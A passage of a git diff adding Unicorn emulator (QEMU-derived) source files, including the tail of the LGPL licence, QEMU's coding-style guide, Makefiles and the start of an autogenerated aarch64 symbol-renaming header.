agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Library at all. For example, if a patent +license would not permit royalty-free redistribution of the Library by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Library. + +If any portion of this section is held invalid or unenforceable under any +particular circumstance, the balance of the section is intended to apply, +and the section as a whole is intended to apply in other circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 12. If the distribution and/or use of the Library is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Library under this License may add +an explicit geographical distribution limitation excluding those countries, +so that distribution is permitted only in or among countries not thus +excluded. In such case, this License incorporates the limitation as if +written in the body of this License. + + 13. The Free Software Foundation may publish revised and/or new +versions of the Lesser General Public License from time to time. +Such new versions will be similar in spirit to the present version, +but may differ in detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Library +specifies a version number of this License which applies to it and +"any later version", you have the option of following the terms and +conditions either of that version or of any later version published by +the Free Software Foundation. If the Library does not specify a +license version number, you may choose any version ever published by +the Free Software Foundation. + + 14. If you wish to incorporate parts of the Library into other free +programs whose distribution conditions are incompatible with these, +write to the author to ask for permission. For software which is +copyrighted by the Free Software Foundation, write to the Free +Software Foundation; we sometimes make exceptions for this. Our +decision will be guided by the two goals of preserving the free status +of all derivatives of our free software and of promoting the sharing +and reuse of software generally. + + NO WARRANTY + + 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO +WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. +EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR +OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY +KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE +LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME +THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN +WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY +AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU +FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR +CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE +LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING +RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A +FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF +SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH +DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Libraries + + If you develop a new library, and you want it to be of the greatest +possible use to the public, we recommend making it free software that +everyone can redistribute and change. You can do so by permitting +redistribution under these terms (or, alternatively, under the terms of the +ordinary General Public License). + + To apply these terms, attach the following notices to the library. It is +safest to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least the +"copyright" line and a pointer to where the full notice is found. + + <one line to give the library's name and a brief idea of what it does.> + Copyright (C) <year> <name of author> + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + +Also add information on how to contact you by electronic and paper mail. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the library, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the + library `Frob' (a library for tweaking knobs) written by James Random Hacker. + + <signature of Ty Coon>, 1 April 1990 + Ty Coon, President of Vice + +That's all there is to it! + + diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/HACKING b/ai_anti_malware/unicorn/unicorn-master/qemu/HACKING new file mode 100644 index 0000000..12fbc8a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/HACKING @@ -0,0 +1,159 @@ +1. Preprocessor + +For variadic macros, stick with this C99-like syntax: + +#define DPRINTF(fmt, ...) \ + do { printf("IRQ: " fmt, ## __VA_ARGS__); } while (0) + +2. C types + +It should be common sense to use the right type, but we have collected +a few useful guidelines here. + +2.1. Scalars + +If you're using "int" or "long", odds are good that there's a better type. +If a variable is counting something, it should be declared with an +unsigned type. + +If it's host memory-size related, size_t should be a good choice (use +ssize_t only if required). Guest RAM memory offsets must use ram_addr_t, +but only for RAM, it may not cover whole guest address space. + +If it's file-size related, use off_t. +If it's file-offset related (i.e., signed), use off_t. +If it's just counting small numbers use "unsigned int"; +(on all but oddball embedded systems, you can assume that that +type is at least four bytes wide). + +In the event that you require a specific width, use a standard type +like int32_t, uint32_t, uint64_t, etc. The specific types are +mandatory for VMState fields. + +Don't use Linux kernel internal types like u32, __u32 or __le32. + +Use hwaddr for guest physical addresses except pcibus_t +for PCI addresses. In addition, ram_addr_t is a QEMU internal address +space that maps guest RAM physical addresses into an intermediate +address space that can map to host virtual address spaces. Generally +speaking, the size of guest memory can always fit into ram_addr_t but +it would not be correct to store an actual guest physical address in a +ram_addr_t. + +For CPU virtual addresses there are several possible types. +vaddr is the best type to use to hold a CPU virtual address in +target-independent code. It is guaranteed to be large enough to hold a +virtual address for any target, and it does not change size from target +to target. It is always unsigned. +target_ulong is a type the size of a virtual address on the CPU; this means +it may be 32 or 64 bits depending on which target is being built. It should +therefore be used only in target-specific code, and in some +performance-critical built-per-target core code such as the TLB code. +There is also a signed version, target_long. +abi_ulong is for the *-user targets, and represents a type the size of +'void *' in that target's ABI. (This may not be the same as the size of a +full CPU virtual address in the case of target ABIs which use 32 bit pointers +on 64 bit CPUs, like sparc32plus.) Definitions of structures that must match +the target's ABI must use this type for anything that on the target is defined +to be an 'unsigned long' or a pointer type. +There is also a signed version, abi_long. + +Of course, take all of the above with a grain of salt. If you're about +to use some system interface that requires a type like size_t, pid_t or +off_t, use matching types for any corresponding variables. + +Also, if you try to use e.g., "unsigned int" as a type, and that +conflicts with the signedness of a related variable, sometimes +it's best just to use the *wrong* type, if "pulling the thread" +and fixing all related variables would be too invasive. + +Finally, while using descriptive types is important, be careful not to +go overboard. If whatever you're doing causes warnings, or requires +casts, then reconsider or ask for help. + +2.2. Pointers + +Ensure that all of your pointers are "const-correct". +Unless a pointer is used to modify the pointed-to storage, +give it the "const" attribute. That way, the reader knows +up-front that this is a read-only pointer. Perhaps more +importantly, if we're diligent about this, when you see a non-const +pointer, you're guaranteed that it is used to modify the storage +it points to, or it is aliased to another pointer that is. + +2.3. Typedefs +Typedefs are used to eliminate the redundant 'struct' keyword. + +2.4. Reserved namespaces in C and POSIX +Underscore capital, double underscore, and underscore 't' suffixes should be +avoided. + +3. Low level memory management + +Use of the malloc/free/realloc/calloc/valloc/memalign/posix_memalign +APIs is not allowed in the QEMU codebase. Instead of these routines, +use the GLib memory allocation routines g_malloc/g_malloc0/g_new/ +g_new0/g_realloc/g_free or QEMU's qemu_memalign/qemu_blockalign/qemu_vfree +APIs. + +Please note that g_malloc will exit on allocation failure, so there +is no need to test for failure (as you would have to with malloc). +Calling g_malloc with a zero size is valid and will return NULL. + +Memory allocated by qemu_memalign or qemu_blockalign must be freed with +qemu_vfree, since breaking this will cause problems on Win32. + +4. String manipulation + +Do not use the strncpy function. As mentioned in the man page, it does *not* +guarantee a NULL-terminated buffer, which makes it extremely dangerous to use. +It also zeros trailing destination bytes out to the specified length. Instead, +use this similar function when possible, but note its different signature: +void pstrcpy(char *dest, int dest_buf_size, const char *src) + +Don't use strcat because it can't check for buffer overflows, but: +char *pstrcat(char *buf, int buf_size, const char *s) + +The same limitation exists with sprintf and vsprintf, so use snprintf and +vsnprintf. + +QEMU provides other useful string functions: +int strstart(const char *str, const char *val, const char **ptr) +int stristart(const char *str, const char *val, const char **ptr) +int qemu_strnlen(const char *s, int max_len) + +There are also replacement character processing macros for isxyz and toxyz, +so instead of e.g. isalnum you should use qemu_isalnum. + +Because of the memory management rules, you must use g_strdup/g_strndup +instead of plain strdup/strndup. + +5. Printf-style functions + +Whenever you add a new printf-style function, i.e., one with a format +string argument and following "..." in its prototype, be sure to use +gcc's printf attribute directive in the prototype. + +This makes it so gcc's -Wformat and -Wformat-security options can do +their jobs and cross-check format strings with the number and types +of arguments. + +6. C standard, implementation defined and undefined behaviors + +C code in QEMU should be written to the C99 language specification. A copy +of the final version of the C99 standard with corrigenda TC1, TC2, and TC3 +included, formatted as a draft, can be downloaded from: + http://www.open-std.org/jtc1/sc22/WG14/www/docs/n1256.pdf + +The C language specification defines regions of undefined behavior and +implementation defined behavior (to give compiler authors enough leeway to +produce better code). In general, code in QEMU should follow the language +specification and avoid both undefined and implementation defined +constructs. ("It works fine on the gcc I tested it with" is not a valid +argument...) However there are a few areas where we allow ourselves to +assume certain behaviors because in practice all the platforms we care about +behave in the same way and writing strictly conformant code would be +painful. These are: + * you may assume that integers are 2s complement representation + * you may assume that right shift of a signed integer duplicates + the sign bit (ie it is an arithmetic shift, not a logical shift) diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/LICENSE b/ai_anti_malware/unicorn/unicorn-master/qemu/LICENSE new file mode 100644 index 0000000..da70e94 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/LICENSE @@ -0,0 +1,21 @@ +The following points clarify the QEMU license: + +1) QEMU as a whole is released under the GNU General Public License, +version 2. + +2) Parts of QEMU have specific licenses which are compatible with the +GNU General Public License, version 2. Hence each source file contains +its own licensing information. Source files with no licensing information +are released under the GNU General Public License, version 2 or (at your +option) any later version. + +As of July 2013, contributions under version 2 of the GNU General Public +License (and no later version) are only accepted for the following files +or directories: bsd-user/, linux-user/, hw/misc/vfio.c, hw/xen/xen_pt*. + +3) The Tiny Code Generator (TCG) is released under the BSD license + (see license headers in files). + +4) QEMU is a trademark of Fabrice Bellard. + +Fabrice Bellard and the QEMU team diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/Makefile b/ai_anti_malware/unicorn/unicorn-master/qemu/Makefile new file mode 100644 index 0000000..8e5762e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/Makefile @@ -0,0 +1,115 @@ +# Makefile for QEMU - modified for Unicorn engine. + +# Always point to the root of the build tree (needs GNU make). +BUILD_DIR=$(CURDIR) + +# All following code might depend on configuration variables +ifneq ($(wildcard config-host.mak),) +# Put the all: rule here so that config-host.mak can contain dependencies. +all: +include config-host.mak + +# Check that we're not trying to do an out-of-tree build from +# a tree that's been used for an in-tree build. +ifneq ($(realpath $(SRC_PATH)),$(realpath .)) +ifneq ($(wildcard $(SRC_PATH)/config-host.mak),) +$(error This is an out of tree build but your source tree ($(SRC_PATH)) \ +seems to have been used for an in-tree build. You can fix this by running \ +"make distclean && rm -rf *-linux-user *-softmmu" in your source tree) +endif +endif + +CONFIG_SOFTMMU := $(if $(filter %-softmmu,$(TARGET_DIRS)),y) +-include config-all-devices.mak + +include $(SRC_PATH)/rules.mak +config-host.mak: $(SRC_PATH)/configure + @echo $@ is out-of-date, running configure +else +config-host.mak: +ifneq ($(filter-out %clean,$(MAKECMDGOALS)),$(if $(MAKECMDGOALS),,fail)) + @echo "Please call configure before running make!" + @exit 1 +endif +endif + +GENERATED_HEADERS = config-host.h + +# Don't try to regenerate Makefile or configure +# We don't generate any of them +Makefile: ; +configure: ; + +.PHONY: all clean distclean recurse-all + +$(call set-vpath, $(SRC_PATH)) + +SUBDIR_MAKEFLAGS=$(if $(V),,--no-print-directory) BUILD_DIR=$(BUILD_DIR) +SUBDIR_DEVICES_MAK=$(patsubst %, %/config-devices.mak, $(TARGET_DIRS)) +SUBDIR_DEVICES_MAK_DEP=$(patsubst %, %-config-devices.mak.d, $(TARGET_DIRS)) + +ifeq ($(SUBDIR_DEVICES_MAK),) +config-all-devices.mak: + $(call quiet-command,echo '# no devices' > $@," GEN $@") +else +config-all-devices.mak: $(SUBDIR_DEVICES_MAK) + $(call quiet-command, sed -n \ + 's|^\([^=]*\)=\(.*\)$$|\1:=$$(findstring y,$$(\1)\2)|p' \ + $(SUBDIR_DEVICES_MAK) | sort -u > $@, \ + " GEN $@") +endif + +-include $(SUBDIR_DEVICES_MAK_DEP) + +%/config-devices.mak: default-configs/%.mak + $(call quiet-command, cp $< $@, " GEN $@") + +ifneq ($(wildcard config-host.mak),) +include $(SRC_PATH)/Makefile.objs +endif + +dummy := $(call unnest-vars,,util-obj-y common-obj-y) + +all: recurse-all + +config-host.h: config-host.h-timestamp +config-host.h-timestamp: config-host.mak + +SUBDIR_RULES=$(patsubst %,subdir-%, $(TARGET_DIRS)) +SOFTMMU_SUBDIR_RULES=$(filter %-softmmu,$(SUBDIR_RULES)) + +$(SOFTMMU_SUBDIR_RULES): config-all-devices.mak + +subdir-%: + $(call quiet-command,$(MAKE) $(SUBDIR_MAKEFLAGS) -C $* V="$(V)" TARGET_DIR="$*/" all,) + +$(SUBDIR_RULES): qapi-types.c qapi-types.h qapi-visit.c qapi-visit.h $(common-obj-y) $(util-obj-y) + +recurse-all: $(SUBDIR_RULES) + +###################################################################### + +clean: + find . \( -name '*.l[oa]' -o -name '*.so' -o -name '*.dll' -o -name '*.mo' -o -name '*.[oda]' \) -type f -exec rm {} + + rm -f TAGS *~ */*~ + @# May not be present in GENERATED_HEADERS + rm -f $(foreach f,$(GENERATED_HEADERS),$(f) $(f)-timestamp) + for d in $(TARGET_DIRS); do \ + if test -d $$d; then $(MAKE) -C $$d $@ || exit 1; fi; \ + done + +distclean: clean + rm -f config-host.mak config-host.h* + rm -f config-all-devices.mak + rm -f config.log config.status + for d in $(TARGET_DIRS); do \ + rm -rf $$d || exit 1 ; \ + done + + +# Add a dependency on the generated files, so that they are always +# rebuilt before other object files +ifneq ($(filter-out %clean,$(MAKECMDGOALS)),$(if $(MAKECMDGOALS),,fail)) +Makefile: $(GENERATED_HEADERS) +endif + diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/Makefile.objs b/ai_anti_malware/unicorn/unicorn-master/qemu/Makefile.objs new file mode 100644 index 0000000..fcf5f30 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/Makefile.objs @@ -0,0 +1,12 @@ +####################################################################### +# Common libraries for tools and emulators +util-obj-y = util/ qobject/ qapi/ qapi-types.o qapi-visit.o + +common-obj-y += hw/ +common-obj-y += accel.o +common-obj-y += vl.o qemu-timer.o +common-obj-y += ../uc.o ../list.o glib_compat.o +common-obj-y += qemu-log.o +common-obj-y += tcg-runtime.o +common-obj-y += hw/ +common-obj-y += qom/ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/Makefile.target b/ai_anti_malware/unicorn/unicorn-master/qemu/Makefile.target new file mode 100644 index 0000000..356ce1c --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/Makefile.target @@ -0,0 +1,84 @@ +# -*- Mode: makefile -*- + +include ../config-host.mak +include config-target.mak +include config-devices.mak +include $(SRC_PATH)/rules.mak + +$(call set-vpath, $(SRC_PATH)) +QEMU_CFLAGS += -I.. -I$(SRC_PATH)/target-$(TARGET_BASE_ARCH) -DNEED_CPU_H + +QEMU_CFLAGS+=-I$(SRC_PATH)/include + +# system emulator name +QEMU_PROG=qemu-system-$(TARGET_NAME)$(EXESUF) + +config-target.h: config-target.h-timestamp +config-target.h-timestamp: config-target.mak + +all: $(QEMU_PROG) + +######################################################### +# cpu emulator library +obj-y = exec.o translate-all.o cpu-exec.o +obj-y += tcg/tcg.o tcg/optimize.o +obj-y += fpu/softfloat.o +obj-y += target-$(TARGET_BASE_ARCH)/ + +######################################################### +# System emulator target +obj-y += cpus.o ioport.o +obj-y += hw/ +obj-y += memory.o cputlb.o +obj-y += memory_mapping.o + +# Hardware support +ifeq ($(TARGET_NAME), sparc64) +obj-y += hw/sparc64/ +else +obj-y += hw/$(TARGET_BASE_ARCH)/ +endif + +# Workaround for http://gcc.gnu.org/PR55489, see configure. +%/translate.o: QEMU_CFLAGS += $(TRANSLATE_OPT_CFLAGS) + +dummy := $(call unnest-vars,,obj-y) +all-obj-y := $(obj-y) + +common-obj-y := +include $(SRC_PATH)/Makefile.objs + +dummy := $(call unnest-vars,..,util-obj-y) + +target-obj-y-save := $(target-obj-y) $(util-obj-y) + +dummy := $(call unnest-vars,..,common-obj-y) + +target-obj-y := $(target-obj-y-save) +all-obj-y += $(common-obj-y) +all-obj-y += $(target-obj-y) + +# determine shared lib extension +IS_APPLE := $(shell $(CC) -dM -E - < /dev/null | grep __apple_build_version__ | wc -l | tr -d " ") +ifeq ($(IS_APPLE),1) +EXT = dylib +else +# Cygwin? +IS_CYGWIN := $(shell $(CC) -dumpmachine | grep -i cygwin | wc -l) +ifeq ($(IS_CYGWIN),1) +EXT = dll +else +EXT = so +endif +endif + +# build either PROG or PROGW +$(QEMU_PROG): $(all-obj-y) + +clean: + rm -f *.a *~ $(QEMU_PROG) + rm -f $(shell find . -name '*.[od]') + +GENERATED_HEADERS += config-target.h +Makefile: $(GENERATED_HEADERS) + diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/VERSION b/ai_anti_malware/unicorn/unicorn-master/qemu/VERSION new file mode 100644 index 0000000..c043eea --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/VERSION @@ -0,0 +1 @@ +2.2.1 diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/aarch64.h b/ai_anti_malware/unicorn/unicorn-master/qemu/aarch64.h new file mode 100644 index 0000000..470a62d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/aarch64.h @@ -0,0 +1,3056 @@ +/* Autogen header for Unicorn Engine - DONOT MODIFY */ +#ifndef UNICORN_AUTOGEN_AARCH64_H +#define UNICORN_AUTOGEN_AARCH64_H +#define arm_release arm_release_aarch64 +#define aarch64_tb_set_jmp_target aarch64_tb_set_jmp_target_aarch64 +#define ppc_tb_set_jmp_target ppc_tb_set_jmp_target_aarch64 +#define use_idiv_instructions_rt use_idiv_instructions_rt_aarch64 +#define tcg_target_deposit_valid tcg_target_deposit_valid_aarch64 +#define helper_power_down helper_power_down_aarch64 +#define check_exit_request check_exit_request_aarch64 +#define address_space_unregister address_space_unregister_aarch64 +#define tb_invalidate_phys_page_fast tb_invalidate_phys_page_fast_aarch64 +#define phys_mem_clean phys_mem_clean_aarch64 +#define tb_cleanup tb_cleanup_aarch64 +#define memory_map memory_map_aarch64 +#define memory_map_ptr memory_map_ptr_aarch64 +#define memory_unmap memory_unmap_aarch64 +#define memory_free memory_free_aarch64 +#define free_code_gen_buffer free_code_gen_buffer_aarch64 +#define helper_raise_exception helper_raise_exception_aarch64 +#define tcg_enabled tcg_enabled_aarch64 +#define tcg_exec_init tcg_exec_init_aarch64 +#define memory_register_types memory_register_types_aarch64 +#define cpu_exec_init_all cpu_exec_init_all_aarch64 +#define vm_start vm_start_aarch64 +#define resume_all_vcpus resume_all_vcpus_aarch64 +#define a15_l2ctlr_read a15_l2ctlr_read_aarch64 +#define a64_translate_init a64_translate_init_aarch64 +#define aa32_generate_debug_exceptions aa32_generate_debug_exceptions_aarch64 +#define aa64_cacheop_access aa64_cacheop_access_aarch64 +#define aa64_daif_access aa64_daif_access_aarch64 +#define aa64_daif_write aa64_daif_write_aarch64 +#define aa64_dczid_read aa64_dczid_read_aarch64 +#define aa64_fpcr_read aa64_fpcr_read_aarch64 +#define aa64_fpcr_write aa64_fpcr_write_aarch64 +#define aa64_fpsr_read aa64_fpsr_read_aarch64 +#define aa64_fpsr_write aa64_fpsr_write_aarch64 +#define aa64_generate_debug_exceptions aa64_generate_debug_exceptions_aarch64 +#define aa64_zva_access aa64_zva_access_aarch64 +#define aarch64_banked_spsr_index aarch64_banked_spsr_index_aarch64 +#define aarch64_restore_sp aarch64_restore_sp_aarch64 +#define aarch64_save_sp aarch64_save_sp_aarch64 +#define accel_find accel_find_aarch64 +#define accel_init_machine accel_init_machine_aarch64 +#define accel_type accel_type_aarch64 +#define access_with_adjusted_size access_with_adjusted_size_aarch64 +#define add128 add128_aarch64 +#define add16_sat add16_sat_aarch64 +#define add16_usat add16_usat_aarch64 +#define add192 add192_aarch64 +#define add8_sat add8_sat_aarch64 +#define add8_usat add8_usat_aarch64 +#define add_cpreg_to_hashtable add_cpreg_to_hashtable_aarch64 +#define add_cpreg_to_list add_cpreg_to_list_aarch64 +#define addFloat128Sigs addFloat128Sigs_aarch64 +#define addFloat32Sigs addFloat32Sigs_aarch64 +#define addFloat64Sigs addFloat64Sigs_aarch64 +#define addFloatx80Sigs addFloatx80Sigs_aarch64 +#define add_qemu_ldst_label add_qemu_ldst_label_aarch64 +#define address_space_access_valid address_space_access_valid_aarch64 +#define address_space_destroy address_space_destroy_aarch64 +#define address_space_destroy_dispatch address_space_destroy_dispatch_aarch64 +#define address_space_get_flatview address_space_get_flatview_aarch64 +#define address_space_init address_space_init_aarch64 +#define address_space_init_dispatch address_space_init_dispatch_aarch64 +#define address_space_lookup_region address_space_lookup_region_aarch64 +#define address_space_map address_space_map_aarch64 +#define address_space_read address_space_read_aarch64 +#define address_space_rw address_space_rw_aarch64 +#define address_space_translate address_space_translate_aarch64 +#define address_space_translate_for_iotlb address_space_translate_for_iotlb_aarch64 +#define address_space_translate_internal address_space_translate_internal_aarch64 +#define address_space_unmap address_space_unmap_aarch64 +#define address_space_update_topology address_space_update_topology_aarch64 +#define address_space_update_topology_pass address_space_update_topology_pass_aarch64 +#define address_space_write address_space_write_aarch64 +#define addrrange_contains addrrange_contains_aarch64 +#define addrrange_end addrrange_end_aarch64 +#define addrrange_equal addrrange_equal_aarch64 +#define addrrange_intersection addrrange_intersection_aarch64 +#define addrrange_intersects addrrange_intersects_aarch64 +#define addrrange_make addrrange_make_aarch64 +#define adjust_endianness adjust_endianness_aarch64 +#define all_helpers all_helpers_aarch64 +#define alloc_code_gen_buffer alloc_code_gen_buffer_aarch64 +#define alloc_entry alloc_entry_aarch64 +#define always_true always_true_aarch64 +#define arm1026_initfn arm1026_initfn_aarch64 +#define arm1136_initfn arm1136_initfn_aarch64 +#define arm1136_r2_initfn arm1136_r2_initfn_aarch64 +#define arm1176_initfn arm1176_initfn_aarch64 +#define arm11mpcore_initfn arm11mpcore_initfn_aarch64 +#define arm926_initfn arm926_initfn_aarch64 +#define arm946_initfn arm946_initfn_aarch64 +#define arm_ccnt_enabled arm_ccnt_enabled_aarch64 +#define arm_cp_read_zero arm_cp_read_zero_aarch64 +#define arm_cp_reset_ignore arm_cp_reset_ignore_aarch64 +#define arm_cpu_do_interrupt arm_cpu_do_interrupt_aarch64 +#define arm_cpu_exec_interrupt arm_cpu_exec_interrupt_aarch64 +#define arm_cpu_finalizefn arm_cpu_finalizefn_aarch64 +#define arm_cpu_get_phys_page_debug arm_cpu_get_phys_page_debug_aarch64 +#define arm_cpu_handle_mmu_fault arm_cpu_handle_mmu_fault_aarch64 +#define arm_cpu_initfn arm_cpu_initfn_aarch64 +#define arm_cpu_list arm_cpu_list_aarch64 +#define cpu_loop_exit cpu_loop_exit_aarch64 +#define arm_cpu_post_init arm_cpu_post_init_aarch64 +#define arm_cpu_realizefn arm_cpu_realizefn_aarch64 +#define arm_cpu_register_gdb_regs_for_features arm_cpu_register_gdb_regs_for_features_aarch64 +#define arm_cpu_register_types arm_cpu_register_types_aarch64 +#define cpu_resume_from_signal cpu_resume_from_signal_aarch64 +#define arm_cpus arm_cpus_aarch64 +#define arm_cpu_set_pc arm_cpu_set_pc_aarch64 +#define arm_cp_write_ignore arm_cp_write_ignore_aarch64 +#define arm_current_el arm_current_el_aarch64 +#define arm_dc_feature arm_dc_feature_aarch64 +#define arm_debug_excp_handler arm_debug_excp_handler_aarch64 +#define arm_debug_target_el arm_debug_target_el_aarch64 +#define arm_el_is_aa64 arm_el_is_aa64_aarch64 +#define arm_env_get_cpu arm_env_get_cpu_aarch64 +#define arm_excp_target_el arm_excp_target_el_aarch64 +#define arm_excp_unmasked arm_excp_unmasked_aarch64 +#define arm_feature arm_feature_aarch64 +#define arm_generate_debug_exceptions arm_generate_debug_exceptions_aarch64 +#define gen_intermediate_code gen_intermediate_code_aarch64 +#define gen_intermediate_code_pc gen_intermediate_code_pc_aarch64 +#define arm_gen_test_cc arm_gen_test_cc_aarch64 +#define arm_gt_ptimer_cb arm_gt_ptimer_cb_aarch64 +#define arm_gt_vtimer_cb arm_gt_vtimer_cb_aarch64 +#define arm_handle_psci_call arm_handle_psci_call_aarch64 +#define arm_is_psci_call arm_is_psci_call_aarch64 +#define arm_is_secure arm_is_secure_aarch64 +#define arm_is_secure_below_el3 arm_is_secure_below_el3_aarch64 +#define arm_ldl_code arm_ldl_code_aarch64 +#define arm_lduw_code arm_lduw_code_aarch64 +#define arm_log_exception arm_log_exception_aarch64 +#define arm_reg_read arm_reg_read_aarch64 +#define arm_reg_reset arm_reg_reset_aarch64 +#define arm_reg_write arm_reg_write_aarch64 +#define restore_state_to_opc restore_state_to_opc_aarch64 +#define arm_rmode_to_sf arm_rmode_to_sf_aarch64 +#define arm_singlestep_active arm_singlestep_active_aarch64 +#define tlb_fill tlb_fill_aarch64 +#define tlb_flush tlb_flush_aarch64 +#define tlb_flush_page tlb_flush_page_aarch64 +#define tlb_set_page tlb_set_page_aarch64 +#define arm_translate_init arm_translate_init_aarch64 +#define arm_v7m_class_init arm_v7m_class_init_aarch64 +#define arm_v7m_cpu_do_interrupt arm_v7m_cpu_do_interrupt_aarch64 +#define ats_access ats_access_aarch64 +#define ats_write ats_write_aarch64 +#define bad_mode_switch bad_mode_switch_aarch64 +#define bank_number bank_number_aarch64 +#define bitmap_zero_extend bitmap_zero_extend_aarch64 +#define bp_wp_matches bp_wp_matches_aarch64 +#define breakpoint_invalidate breakpoint_invalidate_aarch64 +#define build_page_bitmap build_page_bitmap_aarch64 +#define bus_add_child bus_add_child_aarch64 +#define bus_class_init bus_class_init_aarch64 +#define bus_info bus_info_aarch64 +#define bus_unparent bus_unparent_aarch64 +#define cache_block_ops_cp_reginfo cache_block_ops_cp_reginfo_aarch64 +#define cache_dirty_status_cp_reginfo cache_dirty_status_cp_reginfo_aarch64 +#define cache_test_clean_cp_reginfo cache_test_clean_cp_reginfo_aarch64 +#define call_recip_estimate call_recip_estimate_aarch64 +#define can_merge can_merge_aarch64 +#define capacity_increase capacity_increase_aarch64 +#define ccsidr_read ccsidr_read_aarch64 +#define check_ap check_ap_aarch64 +#define check_breakpoints check_breakpoints_aarch64 +#define check_watchpoints check_watchpoints_aarch64 +#define cho cho_aarch64 +#define clear_bit clear_bit_aarch64 +#define clz32 clz32_aarch64 +#define clz64 clz64_aarch64 +#define cmp_flatrange_addr cmp_flatrange_addr_aarch64 +#define code_gen_alloc code_gen_alloc_aarch64 +#define commonNaNToFloat128 commonNaNToFloat128_aarch64 +#define commonNaNToFloat16 commonNaNToFloat16_aarch64 +#define commonNaNToFloat32 commonNaNToFloat32_aarch64 +#define commonNaNToFloat64 commonNaNToFloat64_aarch64 +#define commonNaNToFloatx80 commonNaNToFloatx80_aarch64 +#define compute_abs_deadline compute_abs_deadline_aarch64 +#define cond_name cond_name_aarch64 +#define configure_accelerator configure_accelerator_aarch64 +#define container_get container_get_aarch64 +#define container_info container_info_aarch64 +#define container_register_types container_register_types_aarch64 +#define contextidr_write contextidr_write_aarch64 +#define core_log_global_start core_log_global_start_aarch64 +#define core_log_global_stop core_log_global_stop_aarch64 +#define core_memory_listener core_memory_listener_aarch64 +#define cortexa15_cp_reginfo cortexa15_cp_reginfo_aarch64 +#define cortex_a15_initfn cortex_a15_initfn_aarch64 +#define cortexa8_cp_reginfo cortexa8_cp_reginfo_aarch64 +#define cortex_a8_initfn cortex_a8_initfn_aarch64 +#define cortexa9_cp_reginfo cortexa9_cp_reginfo_aarch64 +#define cortex_a9_initfn cortex_a9_initfn_aarch64 +#define cortex_m3_initfn cortex_m3_initfn_aarch64 +#define count_cpreg count_cpreg_aarch64 +#define countLeadingZeros32 countLeadingZeros32_aarch64 +#define countLeadingZeros64 countLeadingZeros64_aarch64 +#define cp_access_ok cp_access_ok_aarch64 +#define cpacr_write cpacr_write_aarch64 +#define cpreg_field_is_64bit cpreg_field_is_64bit_aarch64 +#define cp_reginfo cp_reginfo_aarch64 +#define cpreg_key_compare cpreg_key_compare_aarch64 +#define cpreg_make_keylist cpreg_make_keylist_aarch64 +#define cp_reg_reset cp_reg_reset_aarch64 +#define cpreg_to_kvm_id cpreg_to_kvm_id_aarch64 +#define cpsr_read cpsr_read_aarch64 +#define cpsr_write cpsr_write_aarch64 +#define cptype_valid 